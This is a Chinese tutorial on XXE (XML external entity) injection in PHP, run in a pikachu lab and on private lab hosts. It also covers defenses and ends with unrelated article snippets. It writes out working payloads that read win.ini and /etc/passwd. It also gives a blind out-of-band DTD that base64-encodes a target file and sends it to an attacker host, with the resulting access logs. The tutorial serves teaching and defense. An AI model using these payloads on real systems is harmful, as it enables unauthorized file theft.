XXE(XML外部实体注入)

1、XXE原理

      XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。当运维人员使用了低版本php,libxml低于2.9.1或者程序员设置了libxml_disable_entity_loader(FALSE)就可以加载外部实体。

要点:libxml2.9.1及以后,默认不解析外部实体。测试的时候windows下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。

代码层面(原理):
参数给变量未将过滤,使用了不安全的函数( simplexml_load_string 函数, loadxml 函数),处理了 这个变量,造成了XXE 漏洞。
条件:
当运维人员使用了低版本 php,libxml 低于 2.9.1 或者程序员设置了
libxml_disable_entity_loader(FALSE) 就可以加载外部实体。
原理解读
phpstudy 的版本为 5.2.17 时,我们访问 phpinfo.php ,查看 libxml 的版本(是否受影响)
由下图可知 phpstudy5.2.17 版本,受到影响,所以存在 XEE 漏洞。
http://10.0.0.101:90/phpinfo.php

 打开pikachu靶场环境,找到xxe漏洞:

http://10.0.0.101:90/pikachu/vul/xxe/xxe_1.php

查看源代码:(使用了simplexml_load_string函数)

$xml =$_POST['xml'];
//    $xml = $test;
    $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
    if($data){
        $html.="<pre>{$data}</pre>";
    }else{
        $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
    }


 2、XXE定义

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。


3、文档结构

XML 文档结构包括 XML 声明、 DTD 文档类型定义(可选)、文档元素。

4、基本的PAYLOAD结构:


5、使用DTD实体的攻击方式 :

DTD 引用方式(简要了解):

1. DTD 内部声明

<!DOCTYPE 根元素 [元素声明]>

2. DTD 外部引用

<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">

3. 引用公共DTD

<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">

示例:

<?xml version="1.0"?>   
<!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
......
命名方法:以!DOCTYPE开始,configuration是文档根元素名称;
PUBLIC表示是公共DTD;-表示是非ISO组织;mybatis.org表示组织;
DTD 表示类型;Config 表示标签;3.0是标签后附带的版本号;
EN表示DTD语言是英语;最后是DTD的URL;


6、DTD 实体声明(重点):

(1)内部实体声明

<!ENTITY 实体名称 "实体的值"> 
一个实体由三部分构成:&符号, 实体名称, 分号 (;),这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号,示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "baidu.com">]>
<foo>&xxe;</foo>

服务器根目录下上传xxe文件夹里含xml.php文件文件内容为:

<?php

    libxml_disable_entity_loader (false);      若为true,则表示禁用外部实体
    $xmlfile = file_get_contents('php://input');   //接收xml数据,可以获取POST来的数据
    $dom = new DOMDocument();    //创建对象
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //文件加载,详细可参考https://www.runoob.com/php/func-simplexml-load-string.html
    $creds = simplexml_import_dom($dom);  //从 DOM 节点返回 SimpleXMLElement 对象,参考https://www.runoob.com/php/func-simplexml-import-dom.html
    echo $creds;

?>

 

http://10.0.0.101:90/xxe/xml.php

火狐阅览器插件进行传参:

上面输入URL:

http://10.0.0.101:90/xxe/xml.php

下面输入DTD 实体

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "baidu.com">]>
<foo>&xxe;</foo>

点击Execute后,显示的是baidu.com。

在 pikachu上xxe输入DTD 实体,就会回显baidu.com:

http://10.0.0.101:90/pikachu/vul/xxe/xxe_1.php

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "baidu.com">]>
<foo>&xxe;</foo>

 


(2)外部实体声明

<!ENTITY 实体名称 SYSTEM "URI/URL"> 
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/2024.txt" >]>
<foo>&xxe;</foo>

 读取c盘下2024.txt文件内容:

火狐阅览器插件进行传参:

http://10.0.0.101:90/xxe/xml.php

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/2024.txt" >]>
<foo>&xxe;</foo>

 

输入到pikachu成功读取文件内容: 

pikachu地址:
http://10.0.0.101:90/pikachu/vul/xxe/xxe_1.php

输入内容:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/2024.txt" >]>
<foo>&xxe;</foo>


(3) 参数实体声明

<!ENTITY % 实体名称 "实体的值">
or
<!ENTITY % 实体名称 SYSTEM "URI">

示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://10.0.0.101:90/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

外部evil.dtd中的内容。

<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

 

(4)引用公共实体

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">


7、如何找xxe漏洞

(1)白盒测试

查看代码里面是否使用了LoadXML( )函数

(2)黑盒测试
  • 抓包看响应体是否存在xml,accept头是否接受xml

    • https://www.cnblogs.com/mysticbinary/p/12668547.html

  • 看到url文件名是否 .ashx后缀扩展名

  • 抓包修改数据类型,把json改成xml来传输数据

8、XXE攻击 

(1)有回显

<?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker SYSTEM "file:///c:/windows/win.ini" > ]> <name>&hacker;</name> //定义DTD文件,格式为:root指定根节点名称,system声明要使用的外部DTD文件路径,如:<!ENTITY 实体名称 SYSTEM "URI/URL">

 抓包查看回显

(1)无回显

建立*.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://10.0.0.101:90/?p=%file;'>">

//内部的%号要进行实体编码成%

xml调用 

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://10.0.0.101:90/test.dtd">
%remote;%int;%send;
]>

例如: 

攻击者:win2003 10.0.0.101:90

目标主机: win10  10.0.0.103:99

攻击者在自己的主机(win2003)上编写test.dtd内容如下:

读取目标主机(win10)c盘下1.txt文件内容

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://10.0.0.101:90/?p=%file;'>">

说明: http://10.0.0.101:90填写为攻击者ip

 先清空攻击者自己(win2003)apache访问日志:

 目标主机根目录上传xxe2文件夹里面有xml.php文件,文件内容为:

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

 

用火狐阅览器传参:

1、上面填写:

http://10.0.0.103:99/xxe2/xml.php

2、下面填写:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://10.0.0.101:90/test.dtd">
%remote;%int;%send;
]>

3、后点击Execute执行

 然后在阅览器访问pikachu的xxe填写:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://10.0.0.101:90/test.dtd">
%remote;%int;%send;
]>

最后查看攻击者apache访问日志文件:

10.0.0.103 - - [19/May/2024:21:42:37 +0800] "GET /?p=MjAyNA== HTTP/1.0" 403 209
10.0.0.103 - - [19/May/2024:21:42:37 +0800] "GET /?p=MjAyNA== HTTP/1.0" 403 209 "-" "-" 

说明:MjAyNA==为base64编码的内容

 获取到的目标主机1.txt文件内容base64解码:

 查看目标主机内容一致:


 9、XXE漏洞利用及相关扩展知识

访问在线网页:web.jarvisoj.com:9882

用抓包工具抓包:

 是一个json数据提交,修改数据发现可以被解析

 这是一道xxe的题,怎么获取flag?只要将json处改为xml,然后提交xml文档即可

发到重发器,只要将json处改为xml

修改为xxe代码,读取服务器所有用户信息:

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>


 10、防范方法

(1)升级php版本
(2)程序员修改代码

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); setFeature("http://apache.org/xml/features/disallow-doctype-decl",true); setFeature("http://xml.org/sax/features/external-general-entities",false) setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

(3)过滤关键词 

<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC


声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/645281.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

DOS学习-目录与文件应用操作经典案例-more

新书上架~&#x1f447;全国包邮奥~ python实用小工具开发教程http://pythontoolsteach.com/3 欢迎关注我&#x1f446;&#xff0c;收藏下次不迷路┗|&#xff40;O′|┛ 嗷~~ 目录 一.前言 二.使用 三.案例 一.前言 DOS系统的more命令是一个用于查看文本文件内容的工具。…

【教学类-58-04】黑白三角拼图04(2-10宫格,每个宫格随机1张-6张,带空格纸)

背景需求&#xff1a; 前期制作了黑白三角拼图2*2、3*3、4*4&#xff0c;确定了基本模板&#xff0c;就可以批量制作更多格子数 【教学类-58-01】黑白三角拼图01&#xff08;2*2宫格&#xff09;固定256种随机抽取10张-CSDN博客文章浏览阅读522次&#xff0c;点赞13次&#x…

通过扩展指令增强基于覆盖引导的模糊测试

本文由Bruno Oliveira于2024年4月25日发表于IncludeSec的官方网站上。作为IncludeSec的安全研究人员&#xff0c;在他们日常的安全审计和渗透测试工作中&#xff0c;有时需要为客户开发一些模糊测试工具。在安全评估方法中使用模糊测试技术&#xff0c;可以有效地在复杂的现代化…

全免费的数据恢复工具哪个好?分享2024年性价比超高的12款数据恢复软件!

当您丢失重要文件时&#xff0c;您应该可不想遇到措手不及的情况吧&#xff1f;相反&#xff0c;您需要在系统中使用一些可靠的数据恢复软件&#xff0c;但是全免费的数据恢复工具哪个好呢&#xff1f;别担心&#xff0c;本文将帮助您选择最适合您的解决方案。 如何挑选一款合适…

QT常量中有换行符

头文件添加&#xff1a; #pragma execution_character_set("utf-8")

我用LLaMA-Factory微调大模型来实现商品评论情感分析,准确率高达91.70%

大家好&#xff0c;我是程序锅。 最近在modelscope上闲逛的时候&#xff0c;在数据集板块发现有一个商品评论情感预测数据集。这个数据集源自一个比赛&#xff0c;它的目的是为了预测电商平台顾客的评论是好评还是差评。 数据示例如下所示&#xff08;其中0代表差评&#xff…

【YOLOv10训练教程】如何使用YOLOv10训练自己的数据集并且推理使用

《博主简介》 小伙伴们好&#xff0c;我是阿旭。专注于人工智能、AIGC、python、计算机视觉相关分享研究。 ✌更多学习资源&#xff0c;可关注公-仲-hao:【阿旭算法与机器学习】&#xff0c;共同学习交流~ &#x1f44d;感谢小伙伴们点赞、关注&#xff01; 《------往期经典推…

【二叉树】力扣OJ题

文章目录 前言1. 翻转二叉树1.1 题目1.2 解题思路1.3 代码实现1.4 时空复杂度 2. 对称二叉树2.1 题目2.2 解题思路2.3 代码实现2.4 时空复杂度 3. 平衡二叉树3.1 题目3.2 解题思路3.3 代码实现3.4 时空复杂度 结语 前言 本篇博客主要介绍二叉树的经典 OJ 题&#xff0c;题目主…

间接平差——以水准网平差为例 (python详细过程版)

目录 一、原理概述二、案例分析三、代码实现四、结果展示本文由CSDN点云侠原创,间接平差——以水准网平差为例 (python详细过程版),爬虫自重。如果你不是在点云侠的博客中看到该文章,那么此处便是不要脸的爬虫与GPT生成的文章。 一、原理概述 间接平差的函数模型和随机模型…

算法与数据结构汇总

刷题建议步骤 求职硬通货&#xff1a;一&#xff0c;好的学历&#xff0c;这个要下血本。本科&#xff0c;可以考研&#xff0c;读研。专科&#xff0c;可以专升本&#xff0c;再考研&#xff0c;读研&#xff0c;二&#xff0c;软考&#xff0c;一年考两次&#xff0c;有些科…

MySQL:表的约束

文章目录 0.小知识&#xff0c;数据转化1.空属性(非空约束)2.默认值&#xff08;default&#xff09;3.comment&#xff08;列描述&#xff09;4.zerofill(显示约束)5.primary key(主键约束)6.auto_increment(自增长)7.unique(唯一键)8.foreign key (外键)9.综合表结构的设计 表…

Android 版本与 API level 以及 NDK 版本对应

采用 Android studio 开发 Android app 的时候&#xff0c;需要选择支持的最低 API Level 和使用的 NDK 版本&#xff0c;对应开发 app 的最低 SDK 版本&#xff1a; 在 app 的 build.gradle 文件里&#xff0c;对应于代码如下&#xff1a; 目前各版本的占有率情况如下&#xf…

docker不删除容器更改其挂载目录

场景&#xff1a;docker搭建的jenkins通常需要配置很多开发环境&#xff0c;当要更换挂载目录&#xff0c;每次都需要删除容器重新运行&#xff0c;不在挂载目录的环境通常不会保留。 先给一个参考博客docker不删除容器&#xff0c;修改容器挂载或其他_jenkins 修改容器挂载do…

电子电器架构 - AUTOSAR软件架构Current Features in a Nutshell

电子电器架构 - AUTOSAR软件架构Current Features in a Nutshell 我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 屏蔽力是信息过载时代一个人的特殊竞争力,任何消耗你的人和事,多看一眼都是你的…

Gradle的settings.gradle.kts你真的理解吗?

你还在用.gradle文件吗&#xff1f;例如build.gradle、settings.gradle&#xff0c;那么你就out了。现在我们有必要了解一下kts脚本了。在Android项目中&#xff0c;默认有3个文件可以替换成kts脚本&#xff0c;即project的build.gradle、app模块的build.gradle和project的sett…

数据库(5)——DDL 表操作

表查询 先要进入到某一个数据库中才可使用这些指令。 SHOW TABLES; 可查询当前数据库中所有的表。 表创建 CREATE TABLE 表名( 字段1 类型 [COMMENT 字段1注释] ...... 字段n 类型 [COMMENT 字段n注释] )[COMMENT 表注释]; 例如&#xff0c;在student数据库里创建一张studen…

哈希表---闭散列

闭散列 当我们用哈希函数的时候&#xff0c;其中一个就是除留余数法 取这个表的长度len,按照哈希函数&#xff1a;Hash(key) key% len,将这个位置映射到表中 通过上面的除留余数法&#xff0c;会有哈希碰撞的问题&#xff0c;可以通过闭散列来解决 闭散列也叫开放定址法&am…

Django与前端框架协作开发实战:高效构建现代Web应用

title: Django与前端框架协作开发实战&#xff1a;高效构建现代Web应用 date: 2024/5/22 20:07:47 updated: 2024/5/22 20:07:47 categories: 后端开发 tags: DjangoREST前端框架SSR渲染SPA路由SEO优化组件库集成状态管理 第1章&#xff1a;简介 1.1 Django简介 Django是一…

新加坡多ip服务器在跨境电商中有哪些优势?

新加坡多IP服务器**在跨境外贸业务中具有明显的优势&#xff0c;适合需要高性能和网络稳定性的业务场景。Rak部落小编为您整理发布新加坡多ip服务器在跨境电商中有哪些优势? 以下是一些具体的优势&#xff1a; 1. **地理位置优越**&#xff1a;新加坡作为亚太地区的国际商业和…

mysql图形化界面及将mysql注册成后台程序

安装图形化界面版本 右键新建数据库 字符集使用utf8防止以后数据库中存在中文字符导致乱码 将mysql注册成后台程序 cmd进入命令行界面 切换路径到cd /mysql/bin 将mysql注册成后台程序 mysqld.exe --install mysql1 (失败&#xff0c;说明没有权限) 以管理员身份打开成功…